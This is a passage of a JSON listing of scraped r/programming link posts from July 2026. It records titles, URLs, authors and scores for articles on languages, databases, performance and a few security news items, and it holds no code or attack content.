    "url": "https://www.gingerbill.org/article/2026/07/10/good-tools-are-invisible/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1usi4m5",
  "url": "https://kerkour.com/api-keys",
  "permalink": "https://www.reddit.com/r/programming/comments/1usi4m5/how_to_implement_cryptographicallysecure_api_keys/",
  "title": "How to implement cryptographically-secure API keys",
  "body": null,
  "author": "awesomePop7291",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.36,
  "numComments": 12,
  "createdAt": "2026-07-10T08:57:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://kerkour.com/api-keys",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1urt5ib",
  "url": "https://arstechnica.com/security/2026/07/high-severity-guest-vm-escape-is-1-of-2-linux-vulnerabilities-to-surface-this-week/",
  "permalink": "https://www.reddit.com/r/programming/comments/1urt5ib/google_pays_250k_for_linux_vulnerability_allowing/",
  "title": "Google pays $250K for Linux vulnerability allowing guest VM escapes",
  "body": null,
  "author": "CircumspectCapybara",
  "subreddit": "programming",
  "score": 839,
  "upvoteRatio": 0.98,
  "numComments": 48,
  "createdAt": "2026-07-09T15:13:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arstechnica.com/security/2026/07/high-severity-guest-vm-escape-is-1-of-2-linux-vulnerabilities-to-surface-this-week/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1urmnow",
  "url": "https://hakibenita.com/postgresql-partition-pruning",
  "permalink": "https://www.reddit.com/r/programming/comments/1urmnow/how_to_achieve_pruning_when_querying_by/",
  "title": "How to Achieve Pruning When Querying by Non-Partitioned Columns in PostgreSQL",
  "body": null,
  "author": "be_haki",
  "subreddit": "programming",
  "score": 20,
  "upvoteRatio": 0.92,
  "numComments": 5,
  "createdAt": "2026-07-09T10:44:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://hakibenita.com/postgresql-partition-pruning",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1urmi6h",
  "url": "https://andrewkelley.me/post/my-thoughts-bun-rust-rewrite.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1urmi6h/my_thoughts_on_the_bun_rust_rewrite/",
  "title": "My Thoughts on the Bun Rust Rewrite",
  "body": null,
  "author": "simon_o",
  "subreddit": "programming",
  "score": 393,
  "upvoteRatio": 0.9,
  "numComments": 282,
  "createdAt": "2026-07-09T10:36:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://andrewkelley.me/post/my-thoughts-bun-rust-rewrite.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uqx3mn",
  "url": "https://devblogs.microsoft.com/typescript/announcing-typescript-7-0/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uqx3mn/announcing_typescript_70/",
  "title": "Announcing TypeScript 7.0",
  "body": null,
  "author": "DanielRosenwasser",
  "subreddit": "programming",
  "score": 467,
  "upvoteRatio": 0.95,
  "numComments": 128,
  "createdAt": "2026-07-08T16:06:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devblogs.microsoft.com/typescript/announcing-typescript-7-0/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uqw8lp",
  "url": "https://www.chiply.dev/post-hyperbole-hywiki",
  "permalink": "https://www.reddit.com/r/programming/comments/1uqw8lp/hywiki_zero_markup_hypertext/",
  "title": "HyWiki: Zero Markup Hypertext",
  "body": "This post is about Hyperbole's HyWiki package for knowledge management.\n\nI've been doing a deep dive into knowledge management and PKMSs, and in my research I've found that HyWiki offers the best of all worlds. It has a truly unique behavior compared to other PKMSs that allows it to obviate the bookkeeping involved with linking your notes together, and allows your curated knowledge to propagate into the rest of your Emacs, not just your siloed notes vault.",
  "author": "misterchiply",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.38,
  "numComments": 0,
  "createdAt": "2026-07-08T15:37:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.chiply.dev/post-hyperbole-hywiki",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uqu6au",
  "url": "https://tris.sherliker.net/blog/obfuscated-self-evaluating-bash-script-by-cdn-akamai-being-supplied-to-consumers-via-retail-stores/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uqu6au/decoding_the_obfuscated_bash_script_on_a_uniqlo/",
  "title": "Decoding the obfuscated bash script on a Uniqlo t-shirt",
  "body": null,
  "author": "mitousa",
  "subreddit": "programming",
  "score": 889,
  "upvoteRatio": 0.97,
  "numComments": 91,
  "createdAt": "2026-07-08T14:24:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tris.sherliker.net/blog/obfuscated-self-evaluating-bash-script-by-cdn-akamai-being-supplied-to-consumers-via-retail-stores/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uqrx5n",
  "url": "https://eqrion.net/ten-years-at-mozilla/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uqrx5n/just_keep_at_it_a_decade_at_mozilla/",
  "title": "Just Keep At It: A Decade at Mozilla",
  "body": null,
  "author": "eqrion",
  "subreddit": "programming",
  "score": 92,
  "upvoteRatio": 0.93,
  "numComments": 4,
  "createdAt": "2026-07-08T12:57:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://eqrion.net/ten-years-at-mozilla/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uqpsma",
  "url": "https://www.arith2026.org/papers/Approximating%20Floating-Point%20Addition%20Using%20The%20Geometric%20Mean.pdf",
  "permalink": "https://www.reddit.com/r/programming/comments/1uqpsma/approximating_floatingpoint_addition_using_the/",
  "title": "Approximating Floating-Point Addition Using The Geometric Mean [PDF]",
  "body": null,
  "author": "self",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.75,
  "numComments": 3,
  "createdAt": "2026-07-08T11:21:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.arith2026.org/papers/Approximating%20Floating-Point%20Addition%20Using%20The%20Geometric%20Mean.pdf",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uqny65",
  "url": "https://seriot.ch/computation/uts35/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uqny65/unicodes_transliteration_rules_are_turingcomplete/",
  "title": "Unicode's Transliteration Rules Are Turing-Complete",
  "body": "I've been wondering for a while if anything in Unicode could accidentally compute. It turns out that UTS #35 transliteration rules are Turing-complete. I show how to compute Collatz with just 3 rewrite rules running on stock ICU, shipped with every major OS.",
  "author": "Dull_Replacement8890",
  "subreddit": "programming",
  "score": 184,
  "upvoteRatio": 0.96,
  "numComments": 23,
  "createdAt": "2026-07-08T09:45:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://seriot.ch/computation/uts35/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uqn8zi",
  "url": "https://gaultier.github.io/blog/optimization-tales-cockroachdb-part4-slow-list-users.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1uqn8zi/optimization_tales_with_cockroachdb_the_slow_list/",
  "title": "Optimization tales with CockroachDB: the slow list of users (part 4)",
  "body": null,
  "author": "broken_broken_",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.7,
  "numComments": 0,
  "createdAt": "2026-07-08T09:04:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gaultier.github.io/blog/optimization-tales-cockroachdb-part4-slow-list-users.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uqhhy4",
  "url": "https://performance.dev/how-is-linear-so-fast-a-technical-breakdown",
  "permalink": "https://www.reddit.com/r/programming/comments/1uqhhy4/hows_linear_so_fast_a_technical_breakdown/",
  "title": "How's Linear so fast? A technical breakdown",
  "body": null,
  "author": "Ordinary_Leader_2971",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 12,
  "createdAt": "2026-07-08T03:46:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://performance.dev/how-is-linear-so-fast-a-technical-breakdown",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uqci17",
  "url": "https://opensource.org",
  "permalink": "https://www.reddit.com/r/programming/comments/1uqci17/the_need_for_new_wordsterms_as_the_antidote_to/",
  "title": "The need for new words/terms as the antidote to bad software",
  "body": "I'll preface to say I'm not at all a programmer, so pardon me for saying anything stupid\n\nThe increasing amount of slop is no secret, and but software as a whole, be it plugins or apps or even whole operating systems, has become increasing plagued by a set of kinda-unrelated problems that feel like they fall under the same umbrella. I'll keep it short, so practical issues of efficiency, privacy, security, and long-term support, and then ethical issues of being human-made. \n\nI personally believe that we're in need of novel, widespread terms to be able to describe the kind of software that in principle does not have certain traits. I attached the link because I believe the term \"open source\" is analagous to what I'm talking about here. Everybody has an idea of what it means and entails, but it also doesn't mean that everything has to strictly follow it to a T, because it's just a word at the end of the day. It's a pledge to the user to abide by principles of being \"Open Source,\" and I'm saying that we need new words that similarly serve as principles such as that of, optimization, long-term support, being human-made, etc. \n\n(It's kind of like how we have terms like organic, free-run eggs, free range eggs, and of course you would end up with having a bunch of terms that dont mean anything at all, but i'm confident that a few will emerge as \"standards\" in the same way the term open source is.) \n\nThis could go hand-in-hand with maybe making it common practice to at least disclose the development process when publishing software. In (science) research, we're beginning to see the implementation of \"AI Disclosures\" to detail all such usage, to be published with the paper. surely practices like these should be encouraged in software development as well. \n\nI'm sure there are (smaller) discussions on what exactly should constitute as \"best practices\" to the people that care about such things, but I've yet to see mainstream terms that go beyond only vaguely describing what we dont like (\"slop\").\n\nI hope you enjoyed reading, I'd love to hear your thoughts, I dont really have programmer friends to ask about this lol",
  "author": "Realistic-Worker-499",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.26,
  "numComments": 1,
  "createdAt": "2026-07-07T23:59:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://opensource.org",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uqamyh",
  "url": "https://www.youtube.com/watch?v=v1xeIHyTg-c",
  "permalink": "https://www.reddit.com/r/programming/comments/1uqamyh/squint_hard_enough_attacking_perceptual_hashing/",
  "title": "Squint Hard Enough: Attacking Perceptual Hashing with Adversarial Machine Learning",
  "body": null,
  "author": "lood9phee2Ri",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.33,
  "numComments": 0,
  "createdAt": "2026-07-07T22:43:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=v1xeIHyTg-c",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uq357z",
  "url": "https://neciudan.dev/most-secure-way-to-store-auth-token",
  "permalink": "https://www.reddit.com/r/programming/comments/1uq357z/most_secure_way_to_store_auth_tokens/",
  "title": "Most Secure Way to Store Auth Tokens",
  "body": "Where should your auth token live so an XSS bug can't steal it? Here's how to build auth that survives the crazy non-secure world we live in.",
  "author": "creasta29",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.3,
  "numComments": 9,
  "createdAt": "2026-07-07T18:14:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://neciudan.dev/most-secure-way-to-store-auth-token",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1upwsnr",
  "url": "https://darryldias.me/blog/the-quest-for-computer-vision-in-rust",
  "permalink": "https://www.reddit.com/r/programming/comments/1upwsnr/the_quest_for_computer_vision_in_rust/",
  "title": "The Quest for Computer Vision in Rust",
  "body": "Everyone does CV in Python/C++. I did it in Rust anyway – and it worked. 🦀\n\nLibraries compared, code breakdown, and why I chose kornia‑rs ",
  "author": "darryldias",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.35,
  "numComments": 2,
  "createdAt": "2026-07-07T14:30:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://darryldias.me/blog/the-quest-for-computer-vision-in-rust",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1upu953",
  "url": "https://www.youtube.com/watch?v=-0HRzXk8vlk",
  "permalink": "https://www.reddit.com/r/programming/comments/1upu953/what_is_a_token_and_why_does_it_cost_so_much/",
  "title": "What is a token and why does it cost so much? - Computerphile",
  "body": null,
  "author": "itgforlife",
  "subreddit": "programming",
  "score": 432,
  "upvoteRatio": 0.88,
  "numComments": 172,
  "createdAt": "2026-07-07T12:54:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=-0HRzXk8vlk",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ups1cn",
  "url": "https://questdb.com/blog/jvm-jit-known-bits/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ups1cn/the_mask_that_compiles_to_nothing_how_hotspots/",
  "title": "The mask that compiles to nothing: how HotSpot's JIT learned to reason about bits",
  "body": null,
  "author": "j1897OS",
  "subreddit": "programming",
  "score": 51,
  "upvoteRatio": 0.9,
  "numComments": 4,
  "createdAt": "2026-07-07T11:16:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://questdb.com/blog/jvm-jit-known-bits/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1upo7f6",
  "url": "https://luminousmen.substack.com/p/drunk-post-things-ive-learned-as",
  "permalink": "https://www.reddit.com/r/programming/comments/1upo7f6/drunk_post_things_ive_learned_as_a_senior_engineer/",
  "title": "Drunk Post: Things I’ve Learned as a Senior Engineer",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 487,
  "upvoteRatio": 0.9,
  "numComments": 107,
  "createdAt": "2026-07-07T07:45:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://luminousmen.substack.com/p/drunk-post-things-ive-learned-as",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1upng67",
  "url": "https://youtu.be/NQZqET-jjws",
  "permalink": "https://www.reddit.com/r/programming/comments/1upng67/rag_at_10_million_documents_system_design/",
  "title": "RAG at 10 Million Documents — System Design",
  "body": null,
  "author": "lucian-12",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.23,
  "numComments": 0,
  "createdAt": "2026-07-07T07:02:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/NQZqET-jjws",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1upmnop",
  "url": "https://www.youtube.com/watch?v=dLPAqXi9In0",
  "permalink": "https://www.reddit.com/r/programming/comments/1upmnop/odin_10_announcement/",
  "title": "Odin 1.0 Announcement",
  "body": null,
  "author": "gingerbill",
  "subreddit": "programming",
  "score": 453,
  "upvoteRatio": 0.89,
  "numComments": 140,
  "createdAt": "2026-07-07T06:19:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=dLPAqXi9In0",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1up1c4a",
  "url": "https://nahla.dev/blog/waitfree_queue/",
  "permalink": "https://www.reddit.com/r/programming/comments/1up1c4a/girls_just_wanna_have_fast_waitfree_mpmc_queues/",
  "title": "Girls Just Wanna Have Fast Wait-free MPMC Queues · Nahla",
  "body": null,
  "author": "nee_-",
  "subreddit": "programming",
  "score": 49,
  "upvoteRatio": 0.84,
  "numComments": 3,
  "createdAt": "2026-07-06T15:53:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://nahla.dev/blog/waitfree_queue/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uozd0o",
  "url": "https://www.architecture-weekly.com/p/addition-by-subtraction-in-software",
  "permalink": "https://www.reddit.com/r/programming/comments/1uozd0o/addition_by_subtraction_in_software_design/",
  "title": "Addition by subtraction in software design",
  "body": null,
  "author": "Adventurous-Salt8514",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.71,
  "numComments": 1,
  "createdAt": "2026-07-06T14:43:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.architecture-weekly.com/p/addition-by-subtraction-in-software",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uoup9h",
  "url": "https://statecraft.hashnode.dev/execution-truth-vs-execution-authority",
  "permalink": "https://www.reddit.com/r/programming/comments/1uoup9h/execution_truth_vs_execution_authority/",
  "title": "Execution Truth vs Execution Authority",
  "body": "Ran into this while working on a coordination primitive for a payments system: locks and consensus (Redis, Raft, etcd) all answer \"who can act right now\" none answer \"did the action actually complete\" once a crash happens. That's a harder, separate problem most systems just inherit Temporal's answer to (determinism + replay).\n\n[Blog](https://statecraft.hashnode.dev/execution-truth-vs-execution-authority)",
  "author": "munch_muffin_solas",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.57,
  "numComments": 3,
  "createdAt": "2026-07-06T11:32:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://statecraft.hashnode.dev/execution-truth-vs-execution-authority",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uoumse",
  "url": "https://elm-lang.org/news/faster-builds",
  "permalink": "https://www.reddit.com/r/programming/comments/1uoumse/faster_builds_with_elm_0192/",
  "title": "Faster Builds with Elm 0.19.2",
  "body": null,
  "author": "wheatBread",
  "subreddit": "programming",
  "score": 79,
  "upvoteRatio": 0.84,
  "numComments": 21,
  "createdAt": "2026-07-06T11:28:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://elm-lang.org/news/faster-builds",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uorb9p",
  "url": "https://unpredictabletokens.substack.com/p/on-writing-code",
  "permalink": "https://www.reddit.com/r/programming/comments/1uorb9p/on_writing_code/",
  "title": "On Writing (Code)",
  "body": null,
  "author": "jac08_h",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.33,
  "numComments": 0,
  "createdAt": "2026-07-06T08:25:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://unpredictabletokens.substack.com/p/on-writing-code",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uo93ap",
  "url": "https://neovintage.org/posts/postgres-property-graphs/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uo93ap/understanding_postgres_19_property_graphs/",
  "title": "Understanding Postgres 19 Property Graphs",
  "body": null,
  "author": "craigkerstiens",
  "subreddit": "programming",
  "score": 34,
  "upvoteRatio": 0.87,
  "numComments": 2,
  "createdAt": "2026-07-05T18:09:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://neovintage.org/posts/postgres-property-graphs/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uo7nnh",
  "url": "https://devblogs.microsoft.com/dotnet/writing-nodejs-addons-with-dotnet-native-aot/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uo7nnh/writing_nodejs_addons_with_net_native_aot/",
  "title": "Writing Node.js addons with .NET Native AOT",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 24,
  "upvoteRatio": 0.73,
  "numComments": 20,
  "createdAt": "2026-07-05T17:13:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devblogs.microsoft.com/dotnet/writing-nodejs-addons-with-dotnet-native-aot/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uo5muy",
  "url": "https://categorica.io/blog/2026.06.29_trust_your_compiler/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uo5muy/trust_your_compiler_modern_c/",
  "title": "Trust your compiler: Modern C++",
  "body": null,
  "author": "Either_Collection349",
  "subreddit": "programming",
  "score": 55,
  "upvoteRatio": 0.88,
  "numComments": 18,
  "createdAt": "2026-07-05T15:52:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://categorica.io/blog/2026.06.29_trust_your_compiler/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uo2lk3",
  "url": "https://yusufaytas.com/the-engineer-in-the-half-space",
  "permalink": "https://www.reddit.com/r/programming/comments/1uo2lk3/the_engineer_in_the_halfspace/",
  "title": "The Engineer in the Half-Space",
  "body": null,
  "author": "Either_Collection349",
  "subreddit": "programming",
  "score": 77,
  "upvoteRatio": 0.85,
  "numComments": 25,
  "createdAt": "2026-07-05T13:45:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://yusufaytas.com/the-engineer-in-the-half-space",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uo2krr",
  "url": "https://ziglang.org/devlog/2026/#2026-06-30",
  "permalink": "https://www.reddit.com/r/programming/comments/1uo2krr/zig_all_package_management_functionality_moved/",
  "title": "Zig: All Package Management Functionality Moved from Compiler to Build System",
  "body": null,
  "author": "Either_Collection349",
  "subreddit": "programming",
  "score": 161,
  "upvoteRatio": 0.96,
  "numComments": 17,
  "createdAt": "2026-07-05T13:44:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ziglang.org/devlog/2026/#2026-06-30",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uo0avk",
  "url": "https://leetarxiv.substack.com/p/hnp-sum",
  "permalink": "https://www.reddit.com/r/programming/comments/1uo0avk/hnpsum_hidden_number_problem_with_small_unknown/",
  "title": "HNP-SUM: Hidden Number Problem With Small Unknown Multipliers in Python",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.75,
  "numComments": 0,
  "createdAt": "2026-07-05T11:54:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/hnp-sum",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1unxeiu",
  "url": "https://bobdahacker.com/blog/fifa-hack",
  "permalink": "https://www.reddit.com/r/programming/comments/1unxeiu/fifa_was_saved_this_time/",
  "title": "FIFA was saved this time",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.54,
  "numComments": 9,
  "createdAt": "2026-07-05T09:04:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bobdahacker.com/blog/fifa-hack",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1unx0v7",
  "url": "https://www.adalat.ai/blog/tech/reliable-voice-transcription-pipeline",
  "permalink": "https://www.reddit.com/r/programming/comments/1unx0v7/building_a_reliable_voice_transcription_pipeline/",
  "title": "Building a Reliable Voice Transcription Pipeline for Indian Courtrooms (Part 1)",
  "body": null,
  "author": "itachi_amaterasu",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 1,
  "numComments": 4,
  "createdAt": "2026-07-05T08:41:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.adalat.ai/blog/tech/reliable-voice-transcription-pipeline",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1unt3dw",
  "url": "https://essenceia.github.io/projects/floating_dragon/",
  "permalink": "https://www.reddit.com/r/programming/comments/1unt3dw/floating_point_from_scratch_hard_mode/",
  "title": "Floating point from scratch: Hard Mode",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 158,
  "upvoteRatio": 0.9,
  "numComments": 12,
  "createdAt": "2026-07-05T04:50:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://essenceia.github.io/projects/floating_dragon/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1unirtj",
  "url": "https://fagnerbrack.com/learn-php-in-2026-yes-really-bd567753dd84",
  "permalink": "https://www.reddit.com/r/programming/comments/1unirtj/learn_php_in_2026_yes_really/",
  "title": "Learn PHP in 2026 (Yes, Really)",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.38,
  "numComments": 29,
  "createdAt": "2026-07-04T20:10:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fagnerbrack.com/learn-php-in-2026-yes-really-bd567753dd84",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
